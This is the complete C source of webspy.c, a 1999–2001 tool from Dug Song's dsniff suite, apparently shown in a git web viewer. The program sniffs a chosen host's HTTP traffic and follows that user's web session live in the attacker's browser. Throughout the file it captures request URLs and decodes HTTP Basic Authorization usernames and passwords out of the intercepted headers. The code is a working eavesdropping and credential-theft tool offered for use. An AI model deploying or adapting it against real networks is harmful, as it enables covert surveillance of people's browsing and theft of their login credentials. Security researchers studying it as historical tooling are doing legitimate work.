blob: f93b7d8361e66232aded67fdaf32d3ad2cdb7fc5 [file] [log] [blame] [raw]
/*
* webspy.c
*
* Sniff a user's web session, follow it real-time in our browser.
*
* Copyright (c) 1999 Dug Song <dugsong@monkey.org>
*
* $Id: webspy.c,v 1.28 2001/03/15 08:33:05 dugsong Exp $
*/
#include "config.h"
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <X11/Xlib.h>
#include <libnet.h>
#include <nids.h>
#include "base64.h"
#include "buf.h"
#include "version.h"
/* for jwz's remote.c. */
extern int mozilla_remote_commands (Display *, Window, char **);
char *expected_mozilla_version = "4.7";
char *progname = "webspy";
Display *dpy;
char cmd[2048], *cmdtab[2];
in_addr_t host;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: %s [-i interface] host\n", progname);
exit(1);
}
static int
is_display_uri(char *uri)
{
static char *good_prefixes[] = { NULL };
static char *good_suffixes[] = { ".html", ".htm", "/", ".shtml",
".cgi", ".asp", ".php3", ".txt",
".xml", ".asc", NULL };
int len, slen;
char **pp, *p;
/* Get URI length, without QUERY_INFO */
if ((p = strchr(uri, '?')) != NULL) {
len = p - uri;
}
else len = strlen(uri);
for (pp = good_suffixes; *pp != NULL; pp++) {
if (len < (slen = strlen(*pp))) continue;
if (strncasecmp(&uri[len - slen], *pp, slen) == 0)
return (1);
}
for (pp = good_prefixes; *pp != NULL; pp++) {
if (len < (slen = strlen(*pp))) continue;
if (strncasecmp(uri, *pp, slen) == 0)
return (1);
}
return (0);
}
/*
XXX - we should really be sniffing (and HTML-parsing) the returned
pages, not just the request URLs. this is why we don't handle
frames, some CGIs, banner ads, etc. correctly.
*/
static int
process_http_request(struct tuple4 *addr, u_char *data, int len)
{
struct buf *msg, buf;
char *p, *req, *uri, *vhost, *auth;
int i;
buf_init(&buf, data, len);
while ((i = buf_index(&buf, "\r\n\r\n", 4)) >= 0) {
msg = buf_tok(&buf, NULL, i);
msg->base[msg->end] = '\0';
buf_skip(&buf, 4);
req = strtok(buf_ptr(msg), "\r\n");
if (strncmp(req, "GET ", 4) != 0 &&
strncmp(req, "POST ", 5) != 0 &&
strncmp(req, "CONNECT ", 8) != 0)
continue;
vhost = auth = NULL;
uri = strchr(req, ' '); *uri++ = '\0'; strtok(uri, " ");
if (strncmp(uri, "http://", 7) == 0) {
vhost = uri + 7;
uri = strchr(vhost, '/');
memmove(uri + 1, uri, strlen(uri));
}
if (!is_display_uri(uri))
continue;
while ((p = strtok(NULL, "\r\n")) != NULL) {
if (strncasecmp(p, "Authorization: Basic ", 21) == 0) {
p += 21;
i = base64_pton(p, p, strlen(p));
p[i] = '\0';
auth = p;
}
else if (strncasecmp(p, "Host: ", 6) == 0) {
vhost = p + 6;
}
}
if (auth == NULL)
auth = "";
if (vhost == NULL)
vhost = libnet_host_lookup(addr->daddr, 0);
snprintf(cmd, sizeof(cmd), "openURL(http://%s%s%s%s)",
auth, *auth ? "@" : "", vhost, uri);
fprintf(stderr, "%s\n", cmd);
mozilla_remote_commands(dpy, 0, cmdtab);
}
return (len - buf_len(&buf));
}
static void
sniff_http_client(struct tcp_stream *ts, void **yoda)
{
int i;
/* Only handle HTTP client traffic. */
if (ts->addr.saddr != host ||
(ts->addr.dest != 80 && ts->addr.dest != 3128 &&
ts->addr.dest != 8080))
return;
switch (ts->nids_state) {
case NIDS_JUST_EST:
/* Collect data. */
ts->server.collect = 1;
case NIDS_DATA:
if (ts->server.count_new != 0) {
i = process_http_request(&ts->addr, ts->server.data,
ts->server.count -
ts->server.offset);
nids_discard(ts, i);
}
break;
default:
if (ts->server.count != 0) {
process_http_request(&ts->addr, ts->server.data,
ts->server.count -
ts->server.offset);
}
break;
}
}
static void
null_syslog(int type, int errnum, struct ip *iph, void *data)
{
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
int c;
while ((c = getopt(argc, argv, "i:h?V")) != -1) {
switch (c) {
case 'i':
nids_params.device = optarg;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
cmdtab[0] = cmd;
cmdtab[1] = NULL;
if ((host = libnet_name_resolve(argv[0], 1)) == -1)
errx(1, "unknown host");
if ((dpy = XOpenDisplay(NULL)) == NULL)
errx(1, "connection to local X server failed!");
nids_params.scan_num_hosts = 0;
nids_params.syslog = null_syslog;
if (!nids_init())
errx(1, "%s", nids_errbuf);
nids_register_tcp(sniff_http_client);
warnx("listening on %s", nids_params.device);
nids_run();
/* NOTREACHED */
exit(0);
}